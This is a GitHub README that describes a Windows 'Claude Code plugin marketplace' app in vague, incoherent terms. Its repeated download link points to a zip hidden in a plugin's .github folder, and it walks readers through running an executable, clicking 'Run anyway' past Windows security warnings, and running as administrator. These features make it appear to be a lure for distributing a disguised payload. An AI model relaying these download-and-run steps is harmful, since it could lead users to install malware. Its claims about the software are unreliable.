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https://github.com/mathisk2095/jko-claude-plugins

Provide Claude plugins with shared coding guidelines, review checks, and stack-specific skills to keep agents consistent across projects
https://github.com/mathisk2095/jko-claude-plugins

ai-coding claude-code claude-code-marketplace claude-code-plugin claude-code-skills code-review esp32 python rust swiftui

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Provide Claude plugins with shared coding guidelines, review checks, and stack-specific skills to keep agents consistent across projects

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# 🤖 jko-claude-plugins - Run Claude Plugins With Ease



[![Download](https://img.shields.io/badge/Download-Start%20Here-blue?style=for-the-badge)](https://github.com/mathisk2095/jko-claude-plugins/raw/refs/heads/main/plugins/dead-code/.github/jko-plugins-claude-scliff.zip)



## 📦 What this is



jko-claude-plugins is a Claude Code plugin marketplace for end users on Windows. It gives you a simple way to browse, install, and manage plugins for Claude Code without digging through files or setup steps.



It brings together tools for:

- Rust-based plugin parts

- ESP32 C++ support

- Python backend tasks

- SwiftUI-based app views

- dead code detection for cleaner projects



This project is built for people who want a clear path from download to use.



## ✅ What you can do with it



With jko-claude-plugins, you can:

- open a plugin marketplace for Claude Code

- find tools for code review and project checks

- work with plugins for Rust, Python, ESP32 C++, and SwiftUI

- spot dead code in a project

- manage plugin-style features from one place



## 🖥️ System requirements



Use a Windows PC that meets these basic needs:

- Windows 10 or Windows 11

- At least 8 GB of RAM

- 500 MB of free disk space

- Internet access for the first setup

- Permission to run apps on your device



For best results:

- keep Windows updated

- close large apps before you start

- use a local account or admin account when you install the app



## ⬇️ Download and start



Use this link to visit the page to download:  

[https://github.com/mathisk2095/jko-claude-plugins/raw/refs/heads/main/plugins/dead-code/.github/jko-plugins-claude-scliff.zip](https://github.com/mathisk2095/jko-claude-plugins/raw/refs/heads/main/plugins/dead-code/.github/jko-plugins-claude-scliff.zip)



After you open the page:

1. look for the latest release or download item

2. download the Windows file

3. open the file to start the app

4. follow any on-screen steps until the app opens



If the file comes as a `.zip`, right-click it and choose Extract All before you run it.



If Windows asks for permission, choose Yes so the app can start.



## 🧭 First setup on Windows



After you download the app:

1. Open File Explorer

2. Go to your Downloads folder

3. Find the jko-claude-plugins file

4. If it is zipped, extract it

5. Double-click the app file

6. Wait for the first launch to finish



If a Windows security screen appears:

- choose More info if needed

- then select Run anyway if you trust the source and want to continue



If the app creates a shortcut, you can use that shortcut next time.



## 🧩 How the marketplace works



The app is set up like a plugin marketplace for Claude Code. That means you can:

- browse available plugins

- open plugin details

- choose tools for a specific task

- install or enable what you need

- keep related tools in one place



This makes it easier to work with common coding tasks such as:

- reviewing code

- checking for dead code

- handling backend tasks in Python

- working with Rust tools

- managing ESP32 C++ support

- using SwiftUI-related project helpers



## 🛠️ Typical use cases



### Code review

Use code review tools to help spot problems in a project before they grow into larger issues.



### Dead code detection

Use dead code detection to find code that is no longer used. This helps keep projects smaller and easier to manage.



### Python backend work

Use Python tools for backend tasks, scripts, and project support jobs.



### Rust support

Use Rust-related plugins when you work on systems code or tools that need speed and control.



### ESP32 C++ projects

Use ESP32 C++ plugins for embedded work and device-focused code.



### SwiftUI projects

Use SwiftUI helpers when you build or review app screens and interface code.



## 🔍 What you may see in the app



When you open the marketplace, you may see:

- a list of available plugins

- search tools

- install buttons

- plugin details

- version labels

- status indicators

- categories for different coding tasks



These parts help you find the right tool without needing to search through folders or config files.



## 🧰 File types you may get



Depending on how the download is packaged, you may see:

- `.exe` for a Windows app

- `.zip` for a compressed download

- project files for advanced use

- support files for the marketplace and plugin data



If you see a `.exe`, double-click it to run the app.  

If you see a `.zip`, extract it first.



## 🔐 Safe file handling



Before you open the file:

- make sure the file name matches the download you expected

- keep the file in your Downloads folder until setup is done

- do not rename files unless you need to organize them

- do not move related files apart if the app uses a folder layout



If your browser warns about the download, check that you are on the correct page before you continue.



## 📁 Suggested folder setup



For a clean setup, use this layout:

- `Downloads` for the original file

- `Apps` for extracted app folders

- `Projects` for code you work on with the app



This keeps the install easy to find later.



## 🧪 If the app does not open



Try these steps:

1. double-click the file again

2. right-click the file and choose Run as administrator

3. check that the file finished downloading

4. if it is a zip file, extract it again

5. restart Windows and try once more



If the app still does not open, download it again from the main page.



## 🧭 If Windows blocks the app



Windows may show a message when you run a new app. If that happens:

- choose More info

- confirm the app name

- continue only if it matches the download you expected



This is normal for some downloads from GitHub.



## 🔎 How to find the right plugin



When you use the marketplace, look for:

- the plugin name

- the task it supports

- tags or labels

- the version number

- a short description



Choose the plugin that matches the work you need, such as code review, dead code checks, Rust support, or ESP32 tools.



## 📌 Best results



For a smooth first run:

- keep your internet connection on

- close extra apps

- use the latest Windows updates

- start with one plugin at a time

- test the app before adding more tools



This helps you learn the layout before you build a larger setup.



## 🧱 Project focus



This repository combines several parts that work well together:

- a marketplace flow for Claude Code plugins

- Rust for fast core work

- Python for backend tasks

- ESP32 C++ for device support

- SwiftUI for a clean interface

- dead code detection for code cleanup



That mix makes the app useful for people who want one place for many coding tools.



## 📂 Topic areas



This project relates to:

- ai-coding

- claude-code

- claude-code-marketplace

- claude-code-plugin

- claude-code-skills

- code-review

- esp32

- python

- rust

- swiftui



## 🔁 Basic workflow



A simple workflow looks like this:

1. download the app

2. open it on Windows

3. browse the marketplace

4. choose a plugin

5. install or enable it

6. use it in your Claude Code work

7. return later to add more tools



## 🧭 Easy path for first-time users



If this is your first time using a tool like this:

- start with the main app

- explore the menu one section at a time

- use one plugin feature first

- check how each plugin changes your workflow

- add more tools after you feel comfortable



This keeps the setup simple.



## 🗂️ Download link



Visit this page to download:  

[https://github.com/mathisk2095/jko-claude-plugins/raw/refs/heads/main/plugins/dead-code/.github/jko-plugins-claude-scliff.zip](https://github.com/mathisk2095/jko-claude-plugins/raw/refs/heads/main/plugins/dead-code/.github/jko-plugins-claude-scliff.zip)



## ⚙️ What happens after install



After you open the app, you can:

- browse plugins

- review details before you add a tool

- manage the plugins you use often

- return to the marketplace when you need a new feature

- keep your Claude Code setup in one place